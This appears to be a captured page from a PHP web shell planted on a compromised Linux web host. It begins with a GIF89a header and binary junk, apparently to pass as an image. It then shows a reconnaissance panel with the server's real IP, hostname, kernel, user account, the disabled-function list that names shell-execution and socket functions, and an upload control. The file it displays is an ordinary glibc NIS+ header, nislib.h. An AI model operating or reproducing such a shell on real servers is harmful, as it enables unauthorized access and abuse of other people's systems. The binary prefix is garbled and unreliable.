GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 18.188.195.90 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /usr/include/rpcsvc/ |
Upload File : |
/* Copyright (C) 1997, 1998, 1999, 2006, 2007, 2009 Free Software Foundation, Inc. This file is part of the GNU C Library. Contributed by Thorsten Kukuk <kukuk@suse.de>, 1997. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __RPCSVC_NISLIB_H__ #define __RPCSVC_NISLIB_H__ #include <features.h> __BEGIN_DECLS typedef const char *const_nis_name; /* nis_names: These functions are used to locate and manipulate all NIS+ * objects except the NIS+ entry objects. * * nis_lookup (name, flags) resolves a NIS+ name and returns a copy of * that object from a NIS+ server. * const nis_name name: name of the object to be resolved * unsigned int flags: logically ORing zero or more flags (FOLLOW_LINKS, * HARD_LOOKUP, [NO_CACHE], MASTER_ONLY, EXPAND_NAME) * * nis_add (name, obj) adds objects to the NIS+ namespace. * const nis_name name: fully qualified NIS+ name. * const nis_object *obj: object members zo_name and zo_domain will be * constructed from name. * * nis_remove (name, obj) removes objects from the NIS+ namespace. * const nis_name name: fully qualified NIS+ name. * const nis_object *obj: if not NULL, it is assumed to point to a copy * of the object being removed. In this case, if * the object on the server does not have the same * object identifier as the object being passed, * the operation will fail with the NIS_NOTSAMEOBJ * error. * * nis_modify (name, obj) can change specific attributes of an object * that already exists in the namespace. */ extern nis_result *nis_lookup (const_nis_name name, unsigned int flags) __THROW; extern nis_result *nis_add (const_nis_name name, const nis_object *obj) __THROW; extern nis_result *nis_remove (const_nis_name name, const nis_object *obj) __THROW; extern nis_result *nis_modify (const_nis_name name, const nis_object *obj) __THROW; /* nis_tables: These functions are used to search and modify NIS+ tables. * * nis_list (table_name, flags, callback(table_name, obj, userdata), userdata) * search a table in the NIS+ namespace. * const nis_name table_name: indexed name ([xx=yy],table.dir) * unsigned int flags: logically ORing one or more flags (FOLLOW_LINKS, * [FOLLOW_PATH], HARD_LOOKUP, [ALL_RESULTS], [NO_CACHE], * MASTER_ONLY, EXPAND_NAME, RETURN_RESULT) * callback(): callback is an optional pointer to a function that will * process the ENTRY type objects that are returned from the * search. If this pointer is NULL, then all entries that match * the search criteria are returned in the nis_result structure, * otherwise this function will be called once for each * entry returned. * void *userdata: passed to callback function along with the returned * entry object. * * nis_add_entry (table_name, obj, flags) will add the NIS+ object to the * NIS+ table_name. * const nis_name table_name * const nis_object *obj * unsigned int flags: 0, ADD_OVERWRITE, RETURN_RESULT * * nis_modify_entry (name, obj, flags) modifies an object identified by name. * const nis_name name: object identifier * const nis_object *obj: should point to an entry with the EN_MODIFIED * flag set in each column that contains new * information. * unsigned int flags: 0, MOD_SAMEOBJ, RETURN_RESULT * * nis_remove_entry (table_name, obj, flags) removes a set of entries * identified by table_name from the table. * const nis_name table_name: indexed NIS+ name * const nis_object *obj: if obj is non-null, it is presumed to point to * a cached copy of the entry. When the removal is * attempted, and the object that would be removed * is not the same as the cached object pointed to * by object then the operation will fail with an * NIS_NOTSAMEOBJ error * unsigned int flags: 0, REM_MULTIPLE * * nis_first_entry (table_name) fetches entries from a table one at a time. * const nis_name table_name * * nis_next_entry (table_name, cookie) retrieves the "next" entry from a * table specified by table_name. * const nis_name table_name: * const netobj *cookie: The value of cookie from the nis_result structure * form the previous call. */ extern nis_result *nis_list (const_nis_name __name, unsigned int __flags, int (*__callback)(const_nis_name __table_name, const nis_object *__obj, const void *__userdata), const void *__userdata) __THROW; extern nis_result *nis_add_entry (const_nis_name __table_name, const nis_object *__obj, unsigned int __flags) __THROW; extern nis_result *nis_modify_entry (const_nis_name __name, const nis_object *__obj, unsigned int __flags) __THROW; extern nis_result *nis_remove_entry (const_nis_name __table_name, const nis_object *__obj, unsigned int __flags) __THROW; extern nis_result *nis_first_entry (const_nis_name __table_name) __THROW; extern nis_result *nis_next_entry (const_nis_name __table_name, const netobj *__cookie) __THROW; /* ** nis_server */ extern nis_error nis_mkdir (const_nis_name __dirname, const nis_server *__machine) __THROW; extern nis_error nis_rmdir (const_nis_name __dirname, const nis_server *__machine) __THROW; extern nis_error nis_servstate (const nis_server *__machine, const nis_tag *__tags, int __numtags, nis_tag **__result) __THROW; extern nis_error nis_stats (const nis_server *__machine, const nis_tag *__tags, int __numtags, nis_tag **__result) __THROW; extern void nis_freetags (nis_tag *__tags, int __numtags) __THROW; extern nis_server **nis_getservlist (const_nis_name __dirname) __THROW; extern void nis_freeservlist (nis_server **__machines) __THROW; /* ** nis_subr */ extern nis_name nis_leaf_of (const_nis_name __name) __THROW; extern nis_name nis_leaf_of_r (const_nis_name __name, char *__buffer, size_t __buflen) __THROW; extern nis_name nis_name_of (const_nis_name __name) __THROW; extern nis_name nis_name_of_r (const_nis_name __name, char *__buffer, size_t __buflen) __THROW; extern nis_name nis_domain_of (const_nis_name __name) __THROW; extern nis_name nis_domain_of_r (const_nis_name __name, char *__buffer, size_t __buflen) __THROW; extern nis_name *nis_getnames (const_nis_name __name) __THROW; extern void nis_freenames (nis_name *__namelist) __THROW; extern name_pos nis_dir_cmp (const_nis_name __n1, const_nis_name __n2) __THROW; extern nis_object *nis_clone_object (const nis_object *__src, nis_object *__dest) __THROW; extern void nis_destroy_object (nis_object *__obj) __THROW; extern void nis_print_object (const nis_object *__obj) __THROW; /* ** nis_local_names */ extern nis_name nis_local_group (void) __THROW; extern nis_name nis_local_directory (void) __THROW; extern nis_name nis_local_principal (void) __THROW; extern nis_name nis_local_host (void) __THROW; /* ** nis_error */ extern const char *nis_sperrno (const nis_error __status) __THROW; extern void nis_perror (const nis_error __status, const char *__label) __THROW; extern void nis_lerror (const nis_error __status, const char *__label) __THROW; extern char *nis_sperror (const nis_error status, const char *__label) __THROW; extern char *nis_sperror_r (const nis_error __status, const char *__label, char *__buffer, size_t __buflen) __THROW; /* ** nis_groups */ extern bool_t nis_ismember (const_nis_name __principal, const_nis_name __group) __THROW; extern nis_error nis_addmember (const_nis_name __member, const_nis_name __group) __THROW; extern nis_error nis_removemember (const_nis_name __member, const_nis_name __group) __THROW; extern nis_error nis_creategroup (const_nis_name __group, unsigned int __flags) __THROW; extern nis_error nis_destroygroup (const_nis_name __group) __THROW; extern void nis_print_group_entry (const_nis_name __group) __THROW; extern nis_error nis_verifygroup (const_nis_name __group) __THROW; /* ** nis_ping */ extern void nis_ping (const_nis_name __dirname, uint32_t __utime, const nis_object *__dirobj) __THROW; extern nis_result *nis_checkpoint (const_nis_name __dirname) __THROW; /* ** nis_print (XXX INTERNAL FUNCTIONS, SHOULD NOT BE USED !!) */ extern void nis_print_result (const nis_result *__result) __THROW; extern void nis_print_rights (unsigned int __rights) __THROW; extern void nis_print_directory (const directory_obj *__dirobj) __THROW; extern void nis_print_group (const group_obj *__grpobj) __THROW; extern void nis_print_table (const table_obj *__tblobj) __THROW; extern void nis_print_link (const link_obj *__lnkobj) __THROW; extern void nis_print_entry (const entry_obj *__enobj) __THROW; /* ** nis_file (XXX INTERNAL FUNCTIONS, SHOULD NOT BE USED !!) */ extern directory_obj *readColdStartFile (void) __THROW; extern bool_t writeColdStartFile (const directory_obj *__dirobj) __THROW; extern nis_object *nis_read_obj (const char *__obj) __THROW; extern bool_t nis_write_obj (const char *__file, const nis_object *__obj) __THROW; /* ** nis_clone - (XXX INTERNAL FUNCTIONS, SHOULD NOT BE USED !!) */ extern directory_obj *nis_clone_directory (const directory_obj *__src, directory_obj *__dest) __THROW; extern nis_result *nis_clone_result (const nis_result *__src, nis_result *__dest) __THROW; /* nis_free - nis_freeresult */ extern void nis_freeresult (nis_result *__result) __THROW; /* (XXX THE FOLLOWING ARE INTERNAL FUNCTIONS, SHOULD NOT BE USED !!) */ extern void nis_free_request (ib_request *__req) __THROW; extern void nis_free_directory (directory_obj *__dirobj) __THROW; extern void nis_free_object (nis_object *__obj) __THROW; /* (XXX INTERNAL FUNCTIONS, SHOULD NOT BE USED !!) */ extern nis_name __nis_default_owner (char *) __THROW; extern nis_name __nis_default_group (char *) __THROW; extern uint32_t __nis_default_ttl (char *) __THROW; extern unsigned int __nis_default_access (char *, unsigned int) __THROW; extern fd_result *__nis_finddirectory (directory_obj *, const_nis_name) __THROW; extern void __free_fdresult (fd_result *) __THROW; extern uint32_t __nis_hash (const void *__keyarg, size_t __len) __THROW; /* NIS+ cache locking */ extern int __nis_lock_cache (void) __THROW; extern int __nis_unlock_cache (void) __THROW; /* (XXX INTERNAL FUNCTIONS, ONLY FOR rpc.nisd AND glibc !!) */ #if defined (NIS_INTERNAL) || defined (_LIBC) struct dir_binding { CLIENT *clnt; /* RPC CLIENT handle */ nis_server *server_val; /* List of servers */ unsigned int server_len; /* # of servers */ unsigned int server_used; /* Which server we are bind in the moment ? */ unsigned int current_ep; /* Which endpoint of the server are in use? */ unsigned int trys; /* How many server have we tried ? */ unsigned int class; /* From which class is server_val ? */ bool_t master_only; /* Is only binded to the master */ bool_t use_auth; /* Do we use AUTH ? */ bool_t use_udp; /* Do we use UDP ? */ struct sockaddr_in addr; /* Server's IP address */ int socket; /* Server's local socket */ }; typedef struct dir_binding dir_binding; extern nis_error __nisbind_create (dir_binding *, const nis_server *, unsigned int, unsigned int, unsigned int, unsigned int) __THROW; extern nis_error __nisbind_connect (dir_binding *) __THROW; extern nis_error __nisbind_next (dir_binding *) __THROW; extern void __nisbind_destroy (dir_binding *) __THROW; extern nis_error __nisfind_server (const_nis_name, int, directory_obj **, dir_binding *, unsigned int) __THROW; #endif __END_DECLS #endif /* __RPCSVC_NISLIB_H__ */